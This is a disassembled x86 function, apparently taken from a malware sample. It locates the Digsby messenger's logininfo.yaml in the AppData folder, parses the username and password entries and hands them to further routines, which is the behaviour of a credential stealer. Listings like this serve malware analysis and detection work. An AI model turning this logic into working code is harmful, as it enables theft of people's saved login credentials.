Function at 0x427adf
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x38d0
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push 5
mov dword [ebp - 0x38c8], ecx
lea edi, [ebp - 0x20c]
pop ecx
mov esi, str.Digsbylogininfo.yaml
mov ebx, dword [ebp + 8]
rep movsd dword es:[edi], dword [esi]
push 0x1e9
lea eax, [ebp - 0x1f5]
push 0
movsw word es:[edi], word [esi]
push eax
movsb byte es:[edi], byte [esi]
call fcn.006390b0
add esp, 0xc
push ebx
call fcn.00643470
cmp eax, 1
lea eax, [ebp - 0x5f4]
pop ecx
jae 0x427b86
push eax
xor ebx, ebx
push ebx
push ebx
push 0x1c
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x427b68
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4
lea eax, [ebp - 0x20c]
mov esi, 0x3e8
push eax
lea eax, [ebp - 0x5f4]
push esi
push eax
call fcn.006500a8
add esp, 0xc
jmp 0x427ba2
push str.logininfo.yaml
push ebx
push 0x6c643c
mov esi, 0x3e8
push esi
push eax
call fcn.00402e0a
add esp, 0x14
xor ebx, ebx
push 0x6c63d0
lea eax, [ebp - 0x5f4]
mov dword [ebp - 0x38c0], ebx
push eax
lea eax, [ebp - 0x38c0]
push eax
call fcn.00649a00
add esp, 0xc
test eax, eax
jne 0x427b55
cmp dword [ebp - 0x38c0], eax
je 0x427b55
mov dword [ebp - 0x38c4], ebx
jmp 0x427e1b
lea eax, [ebp - 0x2534]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x427c0c
lea eax, [ebp - 0x2534]
push eax
call fcn.00643470
dec eax
pop ecx
cmp eax, 0x1388
jae 0x427e53
mov byte [ebp + eax - 0x2534], 0
lea ecx, [ebp - 0x2534]
call fcn.004047e7
lea eax, [ebp - 0x2534]
push eax
lea eax, [ebp - 0x38bc]
push 0x1388
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [ebp - 0x38bc]
push eax
call fcn.00643470
pop ecx
inc eax
push eax
lea eax, [ebp - 0x38bc]
push eax
call fcn.0064ffd4
lea eax, [ebp - 0x38bc]
push eax
call fcn.00643470
add esp, 0xc
test eax, eax
je 0x427e1d
mov eax, dword [ebp - 0x38c4]
sub eax, 0
je 0x427df8
sub eax, 1
jne 0x427e1d
test ebx, ebx
jne 0x427ceb
lea eax, [ebp - 0x38bc]
push str.username:
push eax
call fcn.00639500
pop ecx
pop ecx
test eax, eax
je 0x427ceb
lea eax, [ebp - 0x38bc]
push str.python_unicode
push eax
call fcn.00639500
mov dword [ebp - 0x38cc], eax
lea eax, [ebp - 0x38bc]
push 0x20
push eax
call fcn.00639770
add esp, 0x10
test eax, eax
je 0x427e1d
cmp dword [ebp - 0x38cc], ebx
je 0x427e1d
inc eax
push eax
lea eax, [ebp - 0x9dc]
push esi
push eax
call fcn.006494f3
add esp, 0xc
inc ebx
jmp 0x427d9e
test edi, edi
jne 0x427d9a
lea eax, [ebp - 0x38bc]
push str.password:
push eax
call fcn.00639500
pop ecx
pop ecx
test eax, eax
je 0x427d9a
lea eax, [ebp - 0x38bc]
push str.binary
push eax
call fcn.00639500
pop ecx
pop ecx
test eax, eax
je 0x427d9a
push dword [ebp - 0x38c0]
lea eax, [ebp - 0x2534]
push 0x1388
push eax
call fcn.006494dd
add esp, 0xc
test eax, eax
je 0x427d9a
lea eax, [ebp - 0x2534]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x427d75
lea eax, [ebp - 0x2534]
push eax
call fcn.00643470
dec eax
pop ecx
cmp eax, 0x1388
jae 0x427e53
mov byte [ebp + eax - 0x2534], 0
lea ecx, [ebp - 0x2534]
call fcn.004047e7
lea eax, [ebp - 0x2534]
push eax
lea eax, [ebp - 0xdc4]
push esi
push eax
call fcn.006494f3
xor edi, edi
add esp, 0xc
inc edi
test ebx, ebx
je 0x427e1d
test edi, edi
je 0x427e1d
push ecx
mov ecx, dword [ebp - 0x38c8]
lea eax, [ebp - 0x11ac]
push eax
lea eax, [ebp - 0xdc4]
push eax
lea eax, [ebp - 0x9dc]
push eax
call fcn.0042799f
cmp eax, 1
jne 0x427def
push 0xffffffffffffffff
mov ecx, 0x6c5bb9
lea eax, [ebp - 0x11ac]
push ecx
push eax
lea eax, [ebp - 0x9dc]
push eax
push ecx
push ecx
mov ecx, dword [ebp - 0x38c8]
push 0x6f
push 3
call fcn.0043ee6b
and dword [ebp - 0x38c4], 0
jmp 0x427e1d
lea eax, [ebp - 0x38bc]
push str.___python_unicode
push eax
call fcn.00639500
pop ecx
pop ecx
test eax, eax
je 0x427e1d
xor ebx, ebx
mov dword [ebp - 0x38c4], 1
xor edi, edi
push dword [ebp - 0x38c0]
lea eax, [ebp - 0x2534]
push 0x1388
push eax
call fcn.006494dd
add esp, 0xc
test eax, eax
jne 0x427bda
push dword [ebp - 0x38c0]
call fcn.00649273
xor eax, eax
pop ecx
inc eax
jmp 0x427b57
call fcn.00612782
int3